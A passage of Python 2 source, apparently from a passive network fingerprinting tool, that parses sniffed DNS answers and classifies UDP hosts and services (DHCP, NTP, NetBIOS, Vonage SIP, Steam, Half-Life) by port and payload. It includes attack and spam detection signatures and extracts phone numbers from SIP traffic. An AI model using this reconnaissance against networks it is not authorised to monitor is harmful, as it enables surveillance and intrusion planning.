incorrect syntax.\\n\\t\\t\\t\\t\\t\\twhile isinstance(OneAn,DNSRR):\\t\\t#Somewhat equivalent:\\twhile not isinstance(an, NoPayload):\\n\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t#print \\\"Type: \\\" + str(type(OneAn))\\t\\t#All of type scapy.DNSRR\\n\\t\\t\\t\\t\\t\\t\\tif (OneAn.rclass == 1) and (OneAn.type == 1):\\t\\t#\\\"IN\\\" class and \\\"A\\\" type answer\\n\\t\\t\\t\\t\\t\\t\\t\\tDNSIPAddr = OneAn.rdata\\n\\t\\t\\t\\t\\t\\t\\t\\tDNSHostname = OneAn.rrname.lower()\\n\\t\\t\\t\\t\\t\\t\\t\\t#Check new hostname to see if it's in the list.\\n\\t\\t\\t\\t\\t\\t\\t\\tif (not DNSRecord.has_key(DNSIPAddr + \\\",A\\\")) or (not(DNSHostname in DNSRecord[DNSIPAddr + \\\",A\\\"])):\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"DN\\\", DNSIPAddr, \\\"A\\\", DNSHostname, \\\"\\\")\\n\\t\\t\\t\\t\\t\\t\\telif (OneAn.rclass == 1) and (OneAn.type == 2):\\t\\t\\t#\\\"IN\\\" class and \\\"NS\\\" answer\\n\\t\\t\\t\\t\\t\\t\\t\\tpass\\t\\t\\t\\t\\t\\t\\t#Perhaps later\\n\\t\\t\\t\\t\\t\\t\\t\\t#Like cnames, this is object -> nameserver hostname, so these would need to be queued like cnames until we're done with A's and PTR's.\\n\\t\\t\\t\\t\\t\\t\\telif (OneAn.rclass == 1) and (OneAn.type == 5):\\t\\t\\t#\\\"IN\\\" class and \\\"CNAME\\\" answer\\n\\t\\t\\t\\t\\t\\t\\t\\tCNAMERecs.append(OneAn)\\t\\t\\t\\t\\t#Remember the record; we'll process these after the PTR's and A's\\n\\t\\t\\t\\t\\t\\t\\telif (OneAn.rclass == 1) and (OneAn.type == 6):\\t\\t\\t#\\\"IN\\\" class and \\\"SOA\\\" answer\\n\\t\\t\\t\\t\\t\\t\\t\\tpass\\t\\t\\t\\t\\t\\t\\t#Not immediately useful, perhaps later\\n\\t\\t\\t\\t\\t\\t\\telif (OneAn.rclass == 1) and (OneAn.type == 12):\\t\\t#\\\"IN\\\" class and \\\"PTR\\\" type answer\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t#For input of '182.111.59.66.in-addr.arpa.' :\\n\\t\\t\\t\\t\\t\\t\\t\\tDNSIPAddr = OneAn.rrname.replace(\\\".in-addr.arpa.\\\", \\\"\\\")\\t\\t# '182.111.59.66'\\n\\t\\t\\t\\t\\t\\t\\t\\tDNSIPAddr = DNSIPAddr.split('.')\\t\\t\\t\\t# ['182', '111', '59', '66']\\n\\t\\t\\t\\t\\t\\t\\t\\tDNSIPAddr.reverse()\\t\\t\\t\\t\\t\\t# ['66', '59', '111', '182']\\n\\t\\t\\t\\t\\t\\t\\t\\tDNSIPAddr = string.join(DNSIPAddr, '.')\\t\\t\\t\\t# '66.59.111.182'\\n\\t\\t\\t\\t\\t\\t\\t\\t#Check that we end up with a legal IPv4 address before continuing; we're getting garbage.\\n\\t\\t\\t\\t\\t\\t\\t\\tif (re.search('^[1-9][0-9\\\\.]*[0-9]$', DNSIPAddr) == None):\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(\\\"Odd PTR rrname: \\\" + OneAn.rrname)\\n\\t\\t\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tDNSHostname = OneAn.rdata.lower()\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif (not DNSRecord.has_key(DNSIPAddr + \\\",PTR\\\")) or (not(DNSHostname in DNSRecord[DNSIPAddr + \\\",PTR\\\"])):\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"DN\\\", DNSIPAddr, \\\"PTR\\\", DNSHostname, \\\"\\\")\\n\\t\\t\\t\\t\\t\\t\\telif (OneAn.rclass == 1) and (OneAn.type == 15):\\t\\t#\\\"IN\\\" class and \\\"MX\\\" answer\\n\\t\\t\\t\\t\\t\\t\\t\\tpass\\t\\t\\t\\t\\t\\t\\t#Possibly later\\n\\t\\t\\t\\t\\t\\t\\telif (OneAn.rclass == 1) and (OneAn.type == 28):\\t\\t#\\\"IN\\\" class and \\\"AAAA\\\" answer\\n\\t\\t\\t\\t\\t\\t\\t\\tDNSIPAddr = OneAn.rdata.upper()\\n\\t\\t\\t\\t\\t\\t\\t\\tDNSHostname = OneAn.rrname.lower()\\n\\t\\t\\t\\t\\t\\t\\t\\tif (not DNSRecord.has_key(DNSIPAddr + \\\",AAAA\\\")) or (not(DNSHostname in DNSRecord[DNSIPAddr + \\\",AAAA\\\"])):\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"DN\\\", DNSIPAddr, \\\"AAAA\\\", DNSHostname, \\\"\\\")\\n\\n\\t\\t\\t\\t\\t\\t\\t#Move to the next DNS object in the \\\"an\\\" block\\n\\t\\t\\t\\t\\t\\t\\tOneAn = OneAn.payload\\n\\t\\t\\t\\t\\tfor OneCNAME in CNAMERecs:\\t\\t#Now that we have all A/PTR's, go back and turn cname records into pseudo-A's\\n\\t\\t\\t\\t\\t\\tif isinstance(OneCNAME,DNSRR):\\n\\t\\t\\t\\t\\t\\t\\tAlias = OneCNAME.rrname.lower()\\n\\t\\t\\t\\t\\t\\t\\tExisting = OneCNAME.rdata.lower()\\n\\t\\t\\t\\t\\t\\t\\tif isFQDN(Alias) and isFQDN(Existing):\\n\\t\\t\\t\\t\\t\\t\\t\\tif HostIPs.has_key(Existing):\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tfor OneIP in HostIPs[Existing]:\\t\\t\\t\\t#Loop through each of the IPs for the canonical name, and\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif (not DNSRecord.has_key(OneIP + \\\",CNAME\\\")) or (not(Alias in DNSRecord[OneIP + \\\",CNAME\\\"])):\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"DN\\\", OneIP, \\\"CNAME\\\", Alias, \\\"\\\")\\t#report them as kind-of A records for the Alias.\\n\\t\\t\\t\\t\\t\\t\\t\\t#If we don't have a A/PTR record for \\\"Existing\\\", just ignore it. Hopefully we'll get the Existing A/PTR in the next few answers, and will re-ask for the CNAME later, at which point we'll get a full cname record.\\n\\t\\t\\t\\t\\t\\t\\t\\t#else:\\n\\t\\t\\t\\t\\t\\t\\t\\t#\\tDebug(\\\"CNAME \\\" + Alias + \\\" -> \\\" + Existing + \\\" requested, but no IP's for the latter, skipping.\\\")\\n\\t\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\t\\tDebug(\\\"One of \\\" + Alias + \\\" and \\\" + Existing + \\\" isn't an FQDN, skipping cname processing.\\\")\\n\\t\\t\\t\\telif (p['DNS'].rcode == 1):\\t\\t\\t#FormErr: server responding to an improperly formatted request\\n\\t\\t\\t\\t\\tpass\\n\\t\\t\\t\\telif (p['DNS'].rcode == 2):\\t\\t\\t#ServFail: domain exists, root nameservers list authoritative name servers, but authNS's won't answer queries\\n\\t\\t\\t\\t\\tpass\\n\\t\\t\\t\\telif (p['DNS'].rcode == 3):\\t\\t\\t#NXDOMAIN: root nameservers don't have any listing (domain doesn't exist or is on hold)\\n\\t\\t\\t\\t\\tpass\\n\\t\\t\\t\\telif (p['DNS'].rcode == 5):\\t\\t\\t#Query refused\\n\\t\\t\\t\\t\\tpass\\n\\t\\t\\t\\telse:\\t#rcode indicates an error\\n\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (dport == \\\"53\\\") and (type(p['DNS']) == DNS) and (p['DNS'].qr == 0):\\t#dns query\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"dns/client\\\")\\n\\t\\t\\telif (sport == \\\"67\\\") and (dport == \\\"68\\\"):\\t\\t#Bootp/dhcp server talking to client\\n\\t\\t\\t\\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\\n\\t\\t\\t\\t\\tLiveUDPService[SrcService] = True\\n\\t\\t\\t\\t\\tReportId(\\\"US\\\", sIP, \\\"UDP_\\\" + sport, \\\"open\\\", \\\"bootpordhcp/server\\\")\\n\\t\\t\\telif (sport == \\\"68\\\") and (dport == \\\"67\\\"):\\t\\t#Bootp/dhcp client talking to server\\n\\t\\t\\t\\tif (sIP != \\\"0.0.0.0\\\"):\\t\\t\\t\\t#If the client is simply renewing an IP, remember it.\\n\\t\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"bootpordhcp/client\\\")\\n\\t\\t\\t\\t#else:\\t\\t\\t\\t\\t\\t#If you want to record which macs are asking for addresses, do it here.\\n\\t\\t\\t\\t#\\tpass\\n\\t\\t\\telif (sport == \\\"123\\\") and (dport == \\\"123\\\") and (p['NTP'].stratum != ''):\\n\\t\\t\\t\\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\\n\\t\\t\\t\\t\\tLiveUDPService[SrcService] = True\\n\\t\\t\\t\\t\\tReportId(\\\"US\\\", sIP, \\\"UDP_\\\" + sport, \\\"open\\\", \\\"ntp/generic\\\")\\n\\t\\t\\telif (dport == \\\"123\\\") and ( (dIP == \\\"216.115.23.75\\\") or (dIP == \\\"216.115.23.76\\\") or (dIP == \\\"69.59.240.75\\\") ):\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"ntp/vonageclient\\\")\\n\\t\\t\\telif (sport == \\\"123\\\") and ( (sIP == \\\"216.115.23.75\\\") or (sIP == \\\"216.115.23.76\\\") or (sIP == \\\"69.59.240.75\\\") ):\\n\\t\\t\\t\\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\\n\\t\\t\\t\\t\\tLiveUDPService[SrcService] = True\\n\\t\\t\\t\\t\\tReportId(\\\"US\\\", sIP, \\\"UDP_\\\" + sport, \\\"open\\\", \\\"ntp/vonageserver\\\")\\n\\t\\t\\telif (dport == \\\"137\\\"):\\t\\t\\t#netbios-ns\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tif (p['Ethernet'].dst.upper() == \\\"FF:FF:FF:FF:FF:FF\\\"):\\t\\t\\t#broadcast\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"netbios-ns/broadcastclient\\\")\\n\\t\\t\\t\\t\\telif (Payload != None) and (Payload.find('CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') > -1):\\t#wildcard\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"netbios-ns/wildcardclient\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"netbios-ns/unicastclient\\\")\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (sport == \\\"500\\\") and (dport == \\\"500\\\") and (p['ISAKMP'].init_cookie != ''):\\n\\t\\t\\t\\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\\n\\t\\t\\t\\t\\tLiveUDPService[SrcService] = True\\n\\t\\t\\t\\t\\tReportId(\\\"US\\\", sIP, \\\"UDP_\\\" + sport, \\\"open\\\", \\\"isakmp/generic\\\")\\n\\t\\t\\telif (dport == \\\"512\\\"):\\t\\t\\t#BIFF\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and (Payload.find('@') > -1):\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"biff/client\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif ( (dport == \\\"1026\\\") or (dport == \\\"1027\\\") or (dport == \\\"1028\\\") ):\\t#winpopup spam client\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and ( (Payload.find('Download Registry Update from:') > -1) or (Payload.find('CRITICAL ERROR MESSAGE! - REGISTRY DAMAGED AND CORRUPTED.') > -1) or (Payload.find('Your system registry is corrupted and needs to be cleaned immediately.') > -1) or (Payload.find('CRITICAL SYSTEM ERRORS') > -1) ):\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"winpopup/spamclient\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (dport == \\\"1434\\\"):\\t\\t#Probable mssql attack\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and (Payload.find('Qh.dll') > -1):\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"mssql/clientattack\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (sport == \\\"1900\\\") and (dport == \\\"1900\\\") and (dIP == \\\"239.255.255.250\\\"):\\t\\t#SSDP\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and (Payload.find('NOTIFY') > -1):\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"ssdp/client\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (dport == \\\"3865\\\") and (dIP == \\\"255.255.255.255\\\"):\\t\\t#XPL, http://wiki.xplproject.org.uk/index.php/Main_Page\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"xpl/client\\\")\\n\\t\\t\\telif (sport == \\\"5061\\\") and (dport == \\\"5061\\\") and ( (dIP == \\\"216.115.30.28\\\") or (dIP == \\\"69.59.227.77\\\") or (dIP == \\\"69.59.232.33\\\") or (dIP == \\\"69.59.240.84\\\") ):\\t\\t#Vonage SIP client\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and (Payload.find('.vonage.net:5061 SIP/2.0') > -1):\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tSipMatch = SipPhoneMatch.search(Payload)\\n\\t\\t\\t\\t\\t\\tif (SipMatch != None) and (len(SipMatch.groups()) >= 1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"sip/vonage_client, phone number: \\\" + SipMatch.group(1))\\n\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"sip/vonage_client\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (sport == \\\"5061\\\") and (dport == \\\"5061\\\") and ( (sIP == \\\"216.115.30.28\\\") or (sIP == \\\"69.59.227.77\\\") or (sIP == \\\"69.59.232.33\\\") or (sIP == \\\"69.59.240.84\\\") ):\\t#Vonage SIP server\\n\\t\\t\\t\\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and (Payload.find('.vonage.net:5061>') > -1):\\n\\t\\t\\t\\t\\t\\tLiveUDPService[SrcService] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"US\\\", sIP, \\\"UDP_\\\" + sport, \\\"open\\\", \\\"sip/vonage_server\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (sport == \\\"6515\\\") and (dport == \\\"6514\\\") and (dIP == \\\"255.255.255.255\\\"):\\t\\t#mcafee ASaP broadcast, looking for a proxy out. http://www.myasap.de/intl/EN/content/virusscan_asap/faq_new.asp\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and (Payload.find('<rumor version=') > -1):\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"asap/client\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif ( (sport == \\\"9052\\\") or (sport == \\\"9053\\\") or (sport == \\\"9054\\\") ) and ( (sIP == \\\"205.188.146.72\\\") or (sIP == \\\"205.188.157.241\\\") or (sIP == \\\"205.188.157.242\\\") or (sIP == \\\"205.188.157.243\\\") or (sIP == \\\"205.188.157.244\\\") or (sIP == \\\"64.12.51.145\\\") or (sIP == \\\"64.12.51.148\\\") or (sIP == \\\"149.174.54.131\\\") ):\\t#Possibly AOL dns response\\n\\t\\t\\t\\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and (Payload.find('dns-01') > -1):\\n\\t\\t\\t\\t\\t\\tLiveUDPService[SrcService] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"US\\\", sIP, \\\"UDP_\\\" + sport, \\\"open\\\", \\\"aoldns/server\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (sport == \\\"27005\\\") and ( (dport == \\\"27016\\\") or (dport == \\\"27017\\\") ):\\t\\t\\t\\t#Halflife client live game\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"halflife/client\\\")\\n\\t\\t\\telif (dport == \\\"27013\\\") and (dIP == \\\"207.173.177.12\\\"):\\t\\t\\t\\t#variable payload, so can't (Payload != None) and (Payload.find('Steam.exe') > -1)\\t\\t\\t\\t#Halflife client\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"halflife/client\\\")\\n\\t\\t\\telif (sport == \\\"27013\\\") and (sIP == \\\"207.173.177.12\\\"):\\t\\t\\t\\t\\t\\t\\t#halflife server\\n\\t\\t\\t\\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\\n\\t\\t\\t\\t\\tLiveUDPService[SrcService] = True\\n\\t\\t\\t\\t\\tReportId(\\\"US\\\", sIP, \\\"UDP_\\\" + sport, \\\"open\\\", \\\"halflife/server\\\")\\n\\t\\t\\telif ( (sport == \\\"27016\\\") or (sport == \\\"27017\\\") ) and (dport == \\\"27005\\\"):\\t\\t\\t\\t#halflife server live game\\n\\t\\t\\t\\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\\n\\t\\t\\t\\t\\tLiveUDPService[SrcService] = True\\n\\t\\t\\t\\t\\tReportId(\\\"US\\\", sIP, \\\"UDP_\\\" + sport, \\\"open\\\", \\\"halflife/server\\\")\\n\\t\\t\\telif ( (dport == \\\"27015\\\") or (dport == \\\"27016\\\") or (dport == \\\"27025\\\") or (dport == \\\"27026\\\") ):\\t\\t#Variable payload, so can't: (Payload != None) and (Payload.find('basic') > -1)\\t#Halflife client\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"halflife/client\\\")\\n\\t\\t\\telif (dport == \\\"27017\\\") and ( (dIP == \\\"69.28.148.250\\\") or (dIP == \\\"69.28.156.250\\\") or (dIP == \\\"72.165.61.161\\\") or (dIP == \\\"72.165.61.185\\\") or (dIP == \\\"72.165.61.186\\\") or (dIP == \\\"72.165.61.188\\\") or (dIP == \\\"68.142.64.164\\\") or (dIP == \\\"68.142.64.165\\\") or (dIP == \\\"68.142.64.166\\\") ):\\t#Steamfriends client\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and (Payload.find('VS01') > -1):\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"steamfriends/client\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (sport == \\\"27017\\\") and ( (sIP == \\\"69.28.148.250\\\") or (sIP == \\\"69.28.156.250\\\") or (sIP == \\\"72.165.61.161\\\") or (sIP == \\\"72.165.61.185\\\") or (sIP == \\\"72.165.61.186\\\") or (sIP == \\\"72.165.61.188\\\") or (sIP == \\\"68.142.64.164\\\") or (sIP == \\\"68.142.64.165\\\") or (sIP == \\\"68.142.64.166\\\") ):\\t#Steamfriends server\\n\\t\\t\\t\\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and (Payload.find('VS01') > -1):\\n\\t\\t\\t\\t\\t\\tLiveUDPService[SrcService] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"US\\\", sIP, \\\"UDP_\\\" + sport, \\\"open\\\", \\\"steamfriends/server\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif ( (sport == \\\"21020\\\") or (sport == \\\"21250\\\") or (sport == \\\"27016\\\") or (sport == \\\"27017\\\") or (sport == \\\"27018\\\") or (sport == \\\"27030\\\") or (sport == \\\"27035\\\") or (sport == \\\"27040\\\") or (sport == \\\"28015\\\") ):\\t\\t\\t\\t\\t\\t\\t#halflife server\\n\\t\\t\\t\\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and (Payload.find('Team Fortress') > -1):\\n\\t\\t\\t\\t\\t\\tLiveUDPService[SrcService] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"US\\\", sIP, \\\"UDP_\\\" + sport, \\\"open\\\", \\\"halflife/server\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (sport == \\\"27019\\\"):\\t\\t\\t\\t\\t\\t\\t#halflife server\\n\\t\\t\\t\\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\\n\\t\\t\\t\\t\\tLiveUDPService[SrcService] = True\\n\\t\\t\\t\\t\\tReportId(\\\"US\\\", sIP, \\\"UDP_\\\" + sport, \\\"open\\\", \\\"halflife/server\\\")\\n\\t\\t\\telif ( (dport == \\\"1265\\\") or (dport == \\\"20100\\\") or (dport == \\\"21550\\\") or (dport == \\\"27000\\\") or (dport == \\\"27017\\\") or (dport == \\\"27018\\\") or (dport == \\\"27019\\\") or (dport == \\\"27022\\\") or (dport == \\\"27030\\\") or (dport == \\\"27035\\\") or (dport == \\\"27050\\\") or (dport == \\\"27078\\\") or (dport == \\\"27080\\\") or (dport == \\\"28015\\\") or (dport == \\\"28100\\\") or (dport == \\\"45081\\\") ):\\t\\t#Halflife client\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and (Payload.find('Source Engine Query') > -1):\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"halflife/client\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (dport == \\\"24441\\\"):\\t\\t\\t#Pyzor\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and (Payload.find('User:') > -1):\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"pyzor/client\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\t#FIXME - interesting issue; the ttl<5 test will catch traceroutes coming into us, but not ones we're creating to go out. Hmmm.\\n\\t\\t\\telif ( (dport >= \\\"33434\\\") and (dport <= \\\"33524\\\") ) and (p['IP'].ttl <= 5):\\t#udptraceroute client\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(sIP + \\\"UDP_33434\\\")) or (LiveUDPClient[sIP + \\\"UDP_33434\\\"] == False)):\\n\\t\\t\\t\\t\\tLiveUDPClient[sIP + \\\"UDP_33434\\\"] = True\\n\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_33434\\\", \\\"open\\\", \\\"udptraceroute/client\\\")\\n\\t\\t\\telif (dport == \\\"40348\\\"):\\n\\t\\t\\t\\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\\n\\t\\t\\t\\t\\tif (Payload != None) and (Payload.find('HLS') > -1):\\n\\t\\t\\t\\t\\t\\tLiveUDPClient[SrcClient] = True\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"halflife/client\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (p['IP'].frag > 0):\\n\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (sIP == \\\"207.46.51.74\\\") or (sIP == \\\"65.55.251.10\\\"):\\t\\t\\t\\t#Bigfish.com - dns?\\n\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (sIP == \\\"61.215.106.146\\\"):\\t\\t\\t\\t#junk\\n\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telse:\\n\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\telse:\\n\\t\\t\\tDebug(\\\"Other IP protocol (\\\" + str(p['IP'].src) + \\\"->\\\" + str(p['IP'].dst) + \\\"): \\\" + str(p['IP'].proto))\\n\\t\\t\\tUnhandledPacket(p)\\n\\telif p['Ethernet'].type == 0x86DD:\\t\\t#IPv6\\n\\t\\tUnhandledPacket(p)\\n\\telse:\\n\\t\\tprint \\\"Unregistered ethernet type:\\\", 